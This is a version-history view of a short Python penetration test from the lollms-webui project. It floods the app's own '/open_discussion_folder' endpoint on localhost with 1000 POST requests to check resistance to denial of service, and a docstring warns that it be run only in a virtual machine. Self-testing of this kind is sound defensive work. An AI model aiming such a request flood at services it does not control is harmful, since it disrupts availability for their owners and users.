lollms-webui/tests/pentests/service_denial/test_service_denial.py

22 lines
694 B
Python
Raw Normal View History

2024-12-19 13:48:57 +01:00
"""
2024-02-15 21:47:24 +01:00
This python script is performing a Denial of Service (DoS) attack on your endpoint.
2024-05-03 00:58:18 +02:00
It is creating a large number of requests (1000 in this case) to the '/open_discussion_folder' API endpoint of your server.
2024-02-15 21:47:24 +01:00
This could potentially overload your server, making it unable to serve normal, legitimate requests.
Please make sure you test this only on a virtual machine since it can overload your own PC and crush it
2024-12-19 13:48:57 +01:00
"""
2024-02-15 21:47:24 +01:00
import requests
IP_ADDRESS = "localhost"
PORT = 9600
for i in range(1000):
data = {
2024-12-19 13:48:57 +01:00
"discussion_id": f"{i}",
2024-02-15 21:47:24 +01:00
}
2024-12-19 13:48:57 +01:00
response = requests.post(
f"http://{IP_ADDRESS}:{str(PORT)}/open_discussion_folder", json=data
)
print(i, response.json())